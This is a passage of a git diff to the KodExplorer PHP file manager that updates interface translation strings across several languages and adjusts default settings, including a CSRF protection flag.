சிகிச்சை பெறுவதற்கு!", "clipboard" => "காண்க பிடிப்புபலகை", "full_screen" => "முழு திரை", "folder_info_item" => "பொருட்கள்", @@ -344,6 +356,8 @@ return array( "moving" => "மொபைல் செயல்பாடு ...", "remove_title" => "உறுதிப்படுத்தல் நீக்கு", "remove_info" => "தேர்ந்தெடுக்கப்பட்ட உருப்படியை அழிக்க உறுதிப்படுத்து?", + "remove_title_force" => "நிரந்தரமாக நீக்கப்படும்", + "remove_info_force" => "இதை நிரந்தரமாக இந்த ஆவணம் நீக்க வேண்டுமா?", "name_isexists" => "தவறான, பெயர் ஏற்கனவே உள்ளது!", "install" => "நிறுவ", "width" => "அகலம்", @@ -417,7 +431,7 @@ return array( "download_success" => "வெற்றி பதிவிறக்க!", "download_error" => "பதிவிறக்கம் தோல்வியுற்றது!", "download_error_create" => "எழுதுவதில் பிழை!", - "download_error_exists" => "தொலை கோப்பு இல்லை!", + "download_error_exists" => "இணைப்பு தோல்வி தாக்கல் செய்ய!", "upload_error_null" => "கோப்பு இல்லை!", "upload_error_big" => "கோப்பின் அளவு சர்வர் வரம்பு", "upload_error_move" => "கோப்பு நகர்த்த தோல்வி!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "கோப்பு நீக்கம்", "group_role_pathinfo" => "கோப்பு தன்மைகள்", "group_role_pathmove" => "மூவ் (நகல் / வெட்டு / ஒட்டவும் / இழுப்பு இயக்கம்)", - "group_role_zip" => "ZIP சுருக்க", - "group_role_unzip" => "ZIP விரிவாக்கு", + "group_role_zip" => "சுருக்க", + "group_role_unzip" => "விரிவாக்கு", "group_role_search" => "தேடல்", "group_role_filesave" => "திருத்த கோப்பு சேமிக்க", "group_role_can_upload" => "ஏற்றி பதிவிறக்கத்தை", diff --git a/config/i18n/th/main.php b/config/i18n/th/main.php index 1fa706c..97d72ff 100755 --- a/config/i18n/th/main.php +++ b/config/i18n/th/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "มะม่วงเมฆ• Explorer ที่", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "มะม่วงเมฆ• Explorer ที่", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "เข้าสู่ระบบ", "guest_login" => "บุคคลทั่วไปเข้าสู่ระบบ", "username" => "ชื่อผู้ใช้", @@ -251,6 +254,13 @@ return array( "login_code" => "รหัส", "need_check_code" => "รหัสรับรองความถูกต้องเข้าสู่ระบบเปิด", "login_rember_password" => "จำรหัสผ่าน", + "setting_clear_user_recycle" => "ล้างถังรีไซเคิลสำหรับผู้ใช้ทั้งหมด", + "setting_clear_cache" => "ล้างแคช", + "setting_icp" => "ลิขสิทธิ์หรือบันทึกหมายเลข", + "setting_global_css" => "CSS ทั่วโลกที่กำหนดเอง", + "setting_global_css_desc" => "หน้าทั้งหมดจะแทรก CSS ที่กำหนดเอง", + "setting_global_html" => "สถิติ HTML code", + "setting_global_html_desc" => "หน้าทั้งหมดจะถูกแทรกในโค้ด html วรรคนี้รหัสสามารถวางสถิติของบุคคลที่สาม", "us" => "kalcaddle.com", "login_not_null" => "ชื่อผู้ใช้และรหัสผ่านไม่สามารถว่างเปล่า!", "code_error" => "รหัสข้อผิดพลาด", @@ -261,6 +271,7 @@ return array( "permission_edit" => "ปรับเปลี่ยนสิทธิ์", "no_permission" => "ผู้ดูแลระบบได้สิทธิพิเศษนี้!", "no_permission_ext" => "ผู้ดูแลระบบต้องห้ามประเภทของสิทธิ์ของแฟ้มนี้", + "dialog_max" => "เพิ่ม", "dialog_min" => "ลด", "dialog_min_all" => "ลดทั้งหมด", "dialog_display_all" => "แสดงหน้าต่างทั้งหมด", @@ -306,7 +317,7 @@ return array( "past" => "ติด", "clone" => "สร้างสำเนา", "cute" => "ตัด", - "cute_to" => "ตัดไป ...", + "cute_to" => "ย้ายไป ...", "copy_to" => "คัดลอกไป ...", "remove" => "ลบ", "remove_force" => "สมบูรณ์ลบ", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "ต้นไม้ไดเรกทอรีรีเฟรช", "manage_folder" => "Directory จัดการ", "close_menu" => "ปิดเมนู", - "zip" => "การบีบอัดไปรษณีย์", - "unzip" => "ไปรษณีย์เพื่อดึง ...", + "zip" => "บีบอัดเพื่อ ...", + "unzip" => "เพื่อดึง ...", "unzip_folder" => "เปิดเครื่องรูดไปยังโฟลเดอร์", "unzip_this" => "สารสกัดจากปัจจุบัน", - "unzip_to" => "เพื่อดึง", + "unzip_to" => "เพื่อดึง ...", + "zipview_file_big" => "ไฟล์ที่มีขนาดใหญ่เกินไปแล้วแยกการดำเนินงานการแสดงตัวอย่าง!", "clipboard" => "ดูคลิปบอร์ด", "full_screen" => "เต็มหน้าจอ", "folder_info_item" => "รายการ", @@ -344,6 +356,8 @@ return array( "moving" => "การดำเนินงานโทรศัพท์มือถือ ...", "remove_title" => "ลบการยืนยัน", "remove_info" => "ยืนยันการลบรายการที่เลือก?", + "remove_title_force" => "ลบออกอย่างถาวร", + "remove_info_force" => "คุณแน่ใจหรือว่าต้องการลบเอกสารนี้อย่างถาวร", "name_isexists" => "ผิดชื่อที่มีอยู่แล้ว!", "install" => "ติดตั้ง", "width" => "ความกว้าง", @@ -417,7 +431,7 @@ return array( "download_success" => "ดาวน์โหลดสำเร็จ!", "download_error" => "ดาวน์โหลดล้มเหลว!", "download_error_create" => "เขียนข้อผิดพลาด!", - "download_error_exists" => "ไฟล์ระยะไกลไม่อยู่!", + "download_error_exists" => "ลิงก์ไปยังไฟล์ล้มเหลว!", "upload_error_null" => "ไม่มีไฟล์!", "upload_error_big" => "ขนาดไฟล์เกินขีด จำกัด ของเซิร์ฟเวอร์", "upload_error_move" => "ล้มเหลวในการย้ายไฟล์!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "การลบไฟล์", "group_role_pathinfo" => "คุณสมบัติของไฟล์", "group_role_pathmove" => "ย้าย (คัดลอก / ตัด / วาง / ลากการทำงาน)", - "group_role_zip" => "การบีบอัดไปรษณีย์", - "group_role_unzip" => "เครื่องรูดซิป", + "group_role_zip" => "การอัด", + "group_role_unzip" => "เปิดเครื่องรูด", "group_role_search" => "ค้นหา", "group_role_filesave" => "บันทึกไฟล์ที่จะแก้ไข", "group_role_can_upload" => "การอัพโหลดและดาวน์โหลด", diff --git a/config/i18n/tr/main.php b/config/i18n/tr/main.php index b61453e..17aa37e 100755 --- a/config/i18n/tr/main.php +++ b/config/i18n/tr/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango bulut • Explorer", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango bulut • Explorer", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "login", "guest_login" => "Misafir Burcu", "username" => "Kullanıcı adı", @@ -251,6 +254,13 @@ return array( "login_code" => "kodlar", "need_check_code" => "Giriş kimlik doğrulama kodu açık", "login_rember_password" => "Şifremi hatırla", + "setting_clear_user_recycle" => "tüm kullanıcılar için geri dönüşüm kutusu boş", + "setting_clear_cache" => "önbelleği boşaltın", + "setting_icp" => "Telif veya kayıt numarası", + "setting_global_css" => "Özel küresel css", + "setting_global_css_desc" => "Tüm sayfalar özel css ekleyecektir", + "setting_global_html" => "İstatistiksel kod HTML", + "setting_global_html_desc" => "Tüm sayfalar Bu paragraf html kodu eklenecektir, kod üçüncü taraf istatistiklerini yerleştirilebilir", "us" => "kalcaddle.com", "login_not_null" => "Kullanıcı adı ve şifre boş olamaz!", "code_error" => "hata kodları", @@ -261,6 +271,7 @@ return array( "permission_edit" => "İzinleri değiştirmek", "no_permission" => "Yönetici bu ayrıcalığı devre dışı bırakmıştır!", "no_permission_ext" => "Yönetici dosya izinlerini bu tür yasaklandı", + "dialog_max" => "maksimuma çıkarmak", "dialog_min" => "küçültmek", "dialog_min_all" => "tüm Minimize", "dialog_display_all" => "Tüm pencereleri göster", @@ -306,7 +317,7 @@ return array( "past" => "sopa", "clone" => "Bir kopyasını oluşturma", "cute" => "makaslama", - "cute_to" => "Kes ...", + "cute_to" => "Taşı ...", "copy_to" => "Kopyala ...", "remove" => "silmek", "remove_force" => "tamamen kaldırmak", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "Yenile dizin ağacı", "manage_folder" => "Dizin Yönetimi", "close_menu" => "yakın menü", - "zip" => "zip sıkıştırma", - "unzip" => "zip ayıklamak için ...", + "zip" => "sıkıştırılmış ...", + "unzip" => "ayıklamak için ...", "unzip_folder" => "Bir klasöre unzip", "unzip_this" => "akıma Özü", - "unzip_to" => "ayıklamak için", + "unzip_to" => "ayıklamak için ...", + "zipview_file_big" => "dosya çok büyük, ve sonra önizleme işlemi ayıklamak!", "clipboard" => "Görünüm Pano", "full_screen" => "tam Ekran", "folder_info_item" => "Öğeler", @@ -344,6 +356,8 @@ return array( "moving" => "Mobil işletim ...", "remove_title" => "silme Onayı", "remove_info" => "Seçilen öğeyi silmek için Onayla?", + "remove_title_force" => "kalıcı olarak silinir", + "remove_info_force" => "Emin kalıcı bu belgeyi silmek istediğinizden?", "name_isexists" => "Yanlış, adı zaten mevcut!", "install" => "kurmak", "width" => "genişlik", @@ -417,7 +431,7 @@ return array( "download_success" => "Başarı indirin!", "download_error" => "İndir Başarısız!", "download_error_create" => "Yazma hatası!", - "download_error_exists" => "Uzaktan dosya yok!", + "download_error_exists" => "Bağlantı başarısız dosyası için!", "upload_error_null" => "Hiçbir dosya!", "upload_error_big" => "Dosya boyutu sunucu sınırlarını aşıyor", "upload_error_move" => "Dosya taşıma başarısız!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "dosya silme", "group_role_pathinfo" => "dosya Özellikleri", "group_role_pathmove" => "Taşı (kopyala / kes / yapıştır / sürükleme işlemi)", - "group_role_zip" => "zip sıkıştırma", - "group_role_unzip" => "zip unzip", + "group_role_zip" => "sıkıştırma", + "group_role_unzip" => "halletmek", "group_role_search" => "arama", "group_role_filesave" => "düzenlemek için dosyayı kaydedin", "group_role_can_upload" => "Yükleme ve indirme", diff --git a/config/i18n/uk/main.php b/config/i18n/uk/main.php index 81313e0..fc741bc 100755 --- a/config/i18n/uk/main.php +++ b/config/i18n/uk/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Манго хмара • Провідник", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Манго хмара • Провідник", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "увійти", "guest_login" => "Гість Вхід", "username" => "ім'я користувача", @@ -251,6 +254,13 @@ return array( "login_code" => "коди", "need_check_code" => "Код аутентифікації увійти з відкритим", "login_rember_password" => "Запам'ятати пароль", + "setting_clear_user_recycle" => "Порожні кошики для всіх користувачів", + "setting_clear_cache" => "Очистити кеш", + "setting_icp" => "Авторське право або номер запису", + "setting_global_css" => "Призначені для користувача глобальні CSS", + "setting_global_css_desc" => "Всі сторінки будуть вставляти призначені для користувача CSS", + "setting_global_html" => "Статистичний код HTML", + "setting_global_html_desc" => "Всі сторінки будуть вставлені в цьому пункті HTML коді, код може бути поміщена статистика сторонньої", "us" => "kalcaddle.com", "login_not_null" => "Ім'я користувача і пароль не може бути порожнім!", "code_error" => "коди помилок", @@ -261,6 +271,7 @@ return array( "permission_edit" => "зміна дозволів", "no_permission" => "Адміністратор вимкнув цей привілей!", "no_permission_ext" => "Адміністратор заборонив цей тип прав доступу до файлів", + "dialog_max" => "максимізувати", "dialog_min" => "мінімізувати", "dialog_min_all" => "Згорнути все", "dialog_display_all" => "Показати всі вікна", @@ -306,7 +317,7 @@ return array( "past" => "палиця", "clone" => "створити копію", "cute" => "ножиці", - "cute_to" => "Вирізати, щоб ...", + "cute_to" => "Перемістити в ...", "copy_to" => "Копіювати в ...", "remove" => "видаляти", "remove_force" => "повністю видалити", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "Оновити дерево каталогів", "manage_folder" => "управління каталогом", "close_menu" => "Закрити меню", - "zip" => "стиснення ZIP", - "unzip" => "застібка-блискавка для вилучення ...", + "zip" => "Стиснутий, щоб ...", + "unzip" => "Щоб витягти ...", "unzip_folder" => "Розпакувати в папку", "unzip_this" => "Витримка току", - "unzip_to" => "Для того, щоб витягти", + "unzip_to" => "Щоб витягти ...", + "zipview_file_big" => "Файл занадто великий, а потім витягти операцію попереднього перегляду!", "clipboard" => "Перегляд буфера обміну", "full_screen" => "повний екран", "folder_info_item" => "предмети", @@ -344,6 +356,8 @@ return array( "moving" => "Мобільна робота ...", "remove_title" => "підтвердження видалення", "remove_info" => "Підтвердити, щоб вилучити вибрані елементи?", + "remove_title_force" => "постійно видалений", + "remove_info_force" => "Ви впевнені, що хочете назавжди видалити цей документ?", "name_isexists" => "Неправильно, ім'я вже існує!", "install" => "встановлювати", "width" => "ширина", @@ -417,7 +431,7 @@ return array( "download_success" => "Завантажити Вийшло!", "download_error" => "Помилка завантаження!", "download_error_create" => "Не вдалося записати!", - "download_error_exists" => "Віддалений файл не існує!", + "download_error_exists" => "Посилання на файл не вдалося!", "upload_error_null" => "Немає файлу!", "upload_error_big" => "Розмір файлу перевищує межі сервера", "upload_error_move" => "Чи не вдалося перемістити файл!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "видалення файлу", "group_role_pathinfo" => "властивості файлу", "group_role_pathmove" => "Перемістити (копіювати / вирізати / вставити / перетягування операції)", - "group_role_zip" => "стиснення ZIP", - "group_role_unzip" => "ZIP розпакувати", + "group_role_zip" => "компресія", + "group_role_unzip" => "розстебнути блискавку", "group_role_search" => "пошук", "group_role_filesave" => "Збережіть файл для редагування", "group_role_can_upload" => "Завантаження і скачування", diff --git a/config/i18n/uz/main.php b/config/i18n/uz/main.php index 548ba09..e801be8 100755 --- a/config/i18n/uz/main.php +++ b/config/i18n/uz/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango bulut • Explorer", "kod_power_by" => " - KodExplorer by", "kod_name_copyright" => "Mango bulut • Explorer", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "Kirish", "guest_login" => "mehmon Ro'yxatdan", "username" => "Foydalanuvchi nomi", @@ -251,6 +254,13 @@ return array( "login_code" => "kodlari", "need_check_code" => "Kirish autentifikatsiya kodi ochiq", "login_rember_password" => "Parolni eslash", + "setting_clear_user_recycle" => "barcha foydalanuvchilar uchun Qayta ishlab chiqarish", + "setting_clear_cache" => "keshni tozalash", + "setting_icp" => "Copyright yoki rekord soni", + "setting_global_css" => "Custom global css", + "setting_global_css_desc" => "Barcha sahifalar o'rganish CSS chiqadi", + "setting_global_html" => "Statistik kodi HTML", + "setting_global_html_desc" => "Barcha sahifalar, bu paragraf html kodi joylashtirilgan bo'ladi, kodi uchinchi tomon statistika joylashtirilishi mumkin", "us" => "Yelkan Network Studios", "login_not_null" => "Login va parol bo'sh bo'lishi mumkin emas!", "code_error" => "xato kodlari", @@ -261,6 +271,7 @@ return array( "permission_edit" => "turishni o'zgartirish", "no_permission" => "Administrator, bu sharafga o'chirib qo'ygan!", "no_permission_ext" => "Administrator fayl ruxsatini bu turini taqiqlangan", + "dialog_max" => "Ushbu bo'limda izlash", "dialog_min" => "kamaytirish", "dialog_min_all" => "barcha kamaytirish", "dialog_display_all" => "Barcha oyna ko'rsatish", @@ -306,7 +317,7 @@ return array( "past" => "tayoq", "clone" => "nusxasini yaratish", "cute" => "qirqtirmoq", - "cute_to" => "uchun kesib ...", + "cute_to" => "ko'chib ...", "copy_to" => "Nusxa ko'chirish uchun ...", "remove" => "o'chirish", "remove_force" => "butunlay olib tashlash", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "Refresh katalog daraxt", "manage_folder" => "Directory Management", "close_menu" => "Yopish menyu", - "zip" => "zip siqishni", - "unzip" => "zip olish uchun ...", + "zip" => "uchun siqilgan ...", + "unzip" => "chiqarib olish uchun ...", "unzip_folder" => "papkaga unzip", "unzip_this" => "toki bilan chiqarib", - "unzip_to" => "chiqarib olish uchun", + "unzip_to" => "chiqarib olish uchun ...", + "zipview_file_big" => "Fayl juda katta, keyin oldindan ko'rish operatsiya chiqarib!", "clipboard" => "View Clipboard", "full_screen" => "to'liq ekran", "folder_info_item" => "mahsulot", @@ -344,6 +356,8 @@ return array( "moving" => "Mobile operatsiya ...", "remove_title" => "Confirmation o'chirish", "remove_info" => "Tanlangan elementni o'chirish uchun tasdiqlang?", + "remove_title_force" => "butunlay o'chiriladi", + "remove_info_force" => "Siz ishonch hosil doimiy bu hujjatni o'chirishni istaysizmi?", "name_isexists" => "Noto'g'ri, nomi allaqachon mavjud!", "install" => "o'rnatmoq", "width" => "eng", @@ -417,7 +431,7 @@ return array( "download_success" => "Muvaffaqiyati yuklab oling!", "download_error" => "Download amalga oshmadi!", "download_error_create" => "Yozish xatosi!", - "download_error_exists" => "Masofadan fayl mavjud emas!", + "download_error_exists" => "Link muvaffaqiyatsiz faylga!", "upload_error_null" => "No fayl!", "upload_error_big" => "Fayl hajmi server isrofchi", "upload_error_move" => "Faylni ko'chirish bo'lmadi!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "Fayl o'chirish", "group_role_pathinfo" => "Fayl xususiyatlari", "group_role_pathmove" => "Ko'chirish (nusxa / qism / pasta / drag operatsiya)", - "group_role_zip" => "zip siqishni", - "group_role_unzip" => "zip unzip", + "group_role_zip" => "siqish", + "group_role_unzip" => "unzip", "group_role_search" => "Qidiruv", "group_role_filesave" => "tartibga solish uchun faylni saqlash", "group_role_can_upload" => "Yuklab olish va yuklab olish", diff --git a/config/i18n/vi/main.php b/config/i18n/vi/main.php index 71f3001..624a436 100755 --- a/config/i18n/vi/main.php +++ b/config/i18n/vi/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango đám mây • Explorer", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango đám mây • Explorer", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "Đăng nhập", "guest_login" => "khách Đăng nhập", "username" => "Tên đăng nhập", @@ -251,6 +254,13 @@ return array( "login_code" => "Codes", "need_check_code" => "mã xác thực đăng nhập mở", "login_rember_password" => "Ghi nhớ mật khẩu", + "setting_clear_user_recycle" => "Làm trống thùng rác cho tất cả người dùng", + "setting_clear_cache" => "Empty cache", + "setting_icp" => "Copyright hoặc hồ sơ số", + "setting_global_css" => "css tùy chỉnh toàn cầu", + "setting_global_css_desc" => "Tất cả các trang sẽ chèn tùy chỉnh css", + "setting_global_html" => "HTML code thống kê", + "setting_global_html_desc" => "Tất cả các trang sẽ được chèn vào trong mã html đoạn này, các mã có thể được đặt thống kê của bên thứ ba", "us" => "kalcaddle.com", "login_not_null" => "Tên người dùng và mật khẩu không thể để trống!", "code_error" => "mã lỗi", @@ -261,6 +271,7 @@ return array( "permission_edit" => "Sửa Quyền", "no_permission" => "Quản trị viên đã vô hiệu hóa quyền này!", "no_permission_ext" => "Quản trị viên cấm kiểu này cho phép file", + "dialog_max" => "phát huy tối đa", "dialog_min" => "Giảm thiểu", "dialog_min_all" => "Thu nhỏ tất cả", "dialog_display_all" => "Hiện tất cả các cửa sổ", @@ -306,7 +317,7 @@ return array( "past" => "gậy", "clone" => "Tạo một bản sao", "cute" => "cắt", - "cute_to" => "Cắt đến ...", + "cute_to" => "Di chuyển đến ...", "copy_to" => "Sao chép đến ...", "remove" => "xóa bỏ", "remove_force" => "Loại bỏ hoàn toàn", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "cây thư mục Refresh", "manage_folder" => "Quản lý thư mục", "close_menu" => "Đóng đơn", - "zip" => "nén zip", - "unzip" => "zip để giải nén ...", + "zip" => "Nén để ...", + "unzip" => "Để trích xuất ...", "unzip_folder" => "Giải nén vào một thư mục", "unzip_this" => "Giải nén vào hiện tại", - "unzip_to" => "để trích xuất", + "unzip_to" => "Để trích xuất ...", + "zipview_file_big" => "Các tập tin là quá lớn, và sau đó trích xuất các hoạt động xem trước!", "clipboard" => "Xem Clipboard", "full_screen" => "Full Screen", "folder_info_item" => "mục", @@ -344,6 +356,8 @@ return array( "moving" => "hoạt động điện thoại di động ...", "remove_title" => "xóa xác nhận", "remove_info" => "Xác nhận để xóa các mục đã chọn?", + "remove_title_force" => "xóa vĩnh viễn", + "remove_info_force" => "Bạn có chắc muốn xóa vĩnh viễn tài liệu này?", "name_isexists" => "Sai, cái tên đã tồn tại!", "install" => "đặt", "width" => "chiều rộng", @@ -417,7 +431,7 @@ return array( "download_success" => "Tải về thành công!", "download_error" => "Tải về thất bại!", "download_error_create" => "Viết lỗi!", - "download_error_exists" => "tập tin từ xa không tồn tại!", + "download_error_exists" => "Liên kết đến tập tin không thành công!", "upload_error_null" => "Không có tập tin!", "upload_error_big" => "Kích thước vượt quá giới hạn máy chủ", "upload_error_move" => "Không thể di chuyển tập tin!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "xóa tập tin", "group_role_pathinfo" => "tập tin thuộc tính", "group_role_pathmove" => "Di chuyển (copy / cắt / dán / kéo hoạt động)", - "group_role_zip" => "nén zip", - "group_role_unzip" => "giải nén zip", + "group_role_zip" => "nén", + "group_role_unzip" => "không mở", "group_role_search" => "tìm kiếm", "group_role_filesave" => "Lưu các tập tin để chỉnh sửa", "group_role_can_upload" => "Tải lên và tải xuống", diff --git a/config/i18n/zh-CN/main.php b/config/i18n/zh-CN/main.php index 2cfb38d..6c3d31d 100755 --- a/config/i18n/zh-CN/main.php +++ b/config/i18n/zh-CN/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "芒果云•资源管理器", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "芒果云•资源管理器", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "登录", "guest_login" => "游客登录", "username" => "用户名", @@ -251,6 +254,13 @@ return array( "login_code" => "验证码", "need_check_code" => "登陆验证码开启", "login_rember_password" => "记住密码", + "setting_clear_user_recycle" => "清空所有用户回收站", + "setting_clear_cache" => "清空缓存", + "setting_icp" => "版权或备案号", + "setting_global_css" => "自定义全局css", + "setting_global_css_desc" => "所有页面将会插入自定义css", + "setting_global_html" => "统计代码 HTML", + "setting_global_html_desc" => "所有页面将插入此段html代码,可以放置第三方统计代码", "us" => "千帆网络工作室", "login_not_null" => "用户名密码不能为空!", "code_error" => "验证码错误", @@ -261,6 +271,7 @@ return array( "permission_edit" => "修改权限", "no_permission" => "管理员禁止了此权限!", "no_permission_ext" => "管理员禁止了该类型文件权限", + "dialog_max" => "最大化", "dialog_min" => "最小化", "dialog_min_all" => "最小化所有", "dialog_display_all" => "显示所有窗口", @@ -306,7 +317,7 @@ return array( "past" => "粘贴", "clone" => "创建副本", "cute" => "剪切", - "cute_to" => "剪切到...", + "cute_to" => "移动到...", "copy_to" => "复制到...", "remove" => "删除", "remove_force" => "彻底删除", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "刷新树目录", "manage_folder" => "管理目录", "close_menu" => "关闭菜单", - "zip" => "zip压缩", - "unzip" => "zip解压到...", + "zip" => "压缩到...", + "unzip" => "解压到...", "unzip_folder" => "解压到文件夹", "unzip_this" => "解压到当前", - "unzip_to" => "解压到", + "unzip_to" => "解压到...", + "zipview_file_big" => "该文件太大,请解压后再进行预览操作!", "clipboard" => "查看剪贴板", "full_screen" => "全屏", "folder_info_item" => "个项目", @@ -344,6 +356,8 @@ return array( "moving" => "移动操作中...", "remove_title" => "删除确认", "remove_info" => "确认删除选中内容吗?", + "remove_title_force" => "永久删除", + "remove_info_force" => "确定要永久删除此文档吗?", "name_isexists" => "出错了,该名称已存在!", "install" => "安装", "width" => "宽", @@ -417,7 +431,7 @@ return array( "download_success" => "下载成功!", "download_error" => "下载失败!", "download_error_create" => "写入出错!", - "download_error_exists" => "远程文件不存在!", + "download_error_exists" => "链接到文件失败!", "upload_error_null" => "没有文件!", "upload_error_big" => "文件大小超过服务器限制", "upload_error_move" => "移动文件失败!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "文件删除", "group_role_pathinfo" => "文件属性", "group_role_pathmove" => "移动(复制/剪切/粘贴/拖拽操作)", - "group_role_zip" => "zip压缩", - "group_role_unzip" => "zip解压", + "group_role_zip" => "压缩", + "group_role_unzip" => "解压", "group_role_search" => "搜索", "group_role_filesave" => "编辑保存文件", "group_role_can_upload" => "上传下载", diff --git a/config/i18n/zh-TW/main.php b/config/i18n/zh-TW/main.php index 3a5e6f3..0c93b52 100755 --- a/config/i18n/zh-TW/main.php +++ b/config/i18n/zh-TW/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "芒果雲•資源管理器", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "芒果雲•資源管理器", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "登錄", "guest_login" => "遊客登錄", "username" => "用護名", @@ -251,6 +254,13 @@ return array( "login_code" => "驗證碼", "need_check_code" => "登錄驗證碼开启", "login_rember_password" => "記住密碼", + "setting_clear_user_recycle" => "清空所有用戶回收站", + "setting_clear_cache" => "清空緩存", + "setting_icp" => "版權或備案號", + "setting_global_css" => "自定義全局css", + "setting_global_css_desc" => "所有頁面將會插入自定義css", + "setting_global_html" => "統計代碼 HTML", + "setting_global_html_desc" => "所有頁面將插入此段html代碼,可以放置第三方統計代碼", "us" => "千帆網路工作室", "login_not_null" => "用護名密碼不能為空!", "code_error" => "驗證碼錯誤", @@ -261,6 +271,7 @@ return array( "permission_edit" => "修改權限", "no_permission" => "您無此權限!", "no_permission_ext" => "您無該類型檔案權限", + "dialog_max" => "最大化", "dialog_min" => "最小化", "dialog_min_all" => "最小化所有", "dialog_display_all" => "顯示所有窗口", @@ -306,7 +317,7 @@ return array( "past" => "粘貼", "clone" => "創建副本", "cute" => "剪切", - "cute_to" => "剪切到...", + "cute_to" => "移動到...", "copy_to" => "複製到...", "remove" => "刪除", "remove_force" => "徹底刪除", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "刷新樹目錄", "manage_folder" => "管理目錄", "close_menu" => "關閉菜單", - "zip" => "zip壓縮", - "unzip" => "zip解壓到...", + "zip" => "壓縮到...", + "unzip" => "解壓到...", "unzip_folder" => "解壓到檔案夹", "unzip_this" => "解壓到当前", - "unzip_to" => "解压到", + "unzip_to" => "解壓到...", + "zipview_file_big" => "該文件太大,請解壓後再進行預覽操作!", "clipboard" => "查看剪貼板", "full_screen" => "全屏", "folder_info_item" => "个项目", @@ -344,6 +356,8 @@ return array( "moving" => "移動操作中...", "remove_title" => "刪除確認", "remove_info" => "確認刪除選中內容嗎?", + "remove_title_force" => "永久刪除", + "remove_info_force" => "確定要永久刪除此文檔嗎?", "name_isexists" => "出錯了,該名稱已存在!", "install" => "安裝", "width" => "寬", @@ -417,7 +431,7 @@ return array( "download_success" => "下載成功!", "download_error" => "下載失敗!", "download_error_create" => "寫入出錯!", - "download_error_exists" => "遠程檔不存!", + "download_error_exists" => "鏈接到文件失敗!", "upload_error_null" => "無檔!", "upload_error_big" => "檔大小超過伺服器限制", "upload_error_move" => "移動檔失敗!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "文件刪除", "group_role_pathinfo" => "文件屬性", "group_role_pathmove" => "移動(複製/剪切/粘貼/拖拽操作)", - "group_role_zip" => "zip壓縮", - "group_role_unzip" => "zip解壓", + "group_role_zip" => "壓縮", + "group_role_unzip" => "解壓", "group_role_search" => "搜尋", "group_role_filesave" => "編輯儲存檔", "group_role_can_upload" => "上傳下載", diff --git a/config/setting.php b/config/setting.php index e687527..e3e27f6 100755 --- a/config/setting.php +++ b/config/setting.php @@ -11,7 +11,8 @@ $config['settings'] = array( 'download_url_time' => 0, //下载地址生效时间,按秒计算,0代表不限制,默认不限制 'api_login_tonken' => '', //设定则认为开启服务端api通信登陆,同时作为加密密匙 'updload_chunk_size'=> 1024*1024*0.8,//0.8M;分片上传大小设定 - 'param_rewrite' => false, + 'param_rewrite' => false, //开启url 去除? 直接跟参数 + 'csrf_protect' => true, //开启csrf保护 ); //初始化系统配置 @@ -25,6 +26,7 @@ $config['setting_system_default'] = array( 'first_in' => "explorer", // 登录后默认进入[explorer desktop,editor] 'version_type' => "A", + 'desktop_folder' => 'desktop', //桌面文件夹别名 'new_user_app' => "365日历,pptv直播,ps,qq音乐,搜狐影视,时钟,天气,水果忍者,计算器,豆瓣电台,音悦台,icloud", 'new_user_folder' => "document,desktop,pictures,music", 'new_group_folder' => "share,doc,pictures" //新建分组默认建立文件夹 @@ -41,7 +43,7 @@ $config['setting_default'] = array( 'animate_open' => "1", // dialog动画 'sound_open' => "0", // 操作音效 'theme' => "win10", // app theme [mac,win7,win10,metro,metro_green,alpha] - 'wall' => "2", // wall picture + 'wall' => "8", // wall picture "file_repeat" => "replace", // rename,replace,skip "recycle_open" => "1", // 1 | 0 代表是否开启 'resize_config' => @@ -127,18 +129,19 @@ $config['setting_menu_default'] = array( //需要权限认证的Action;root组无视权限 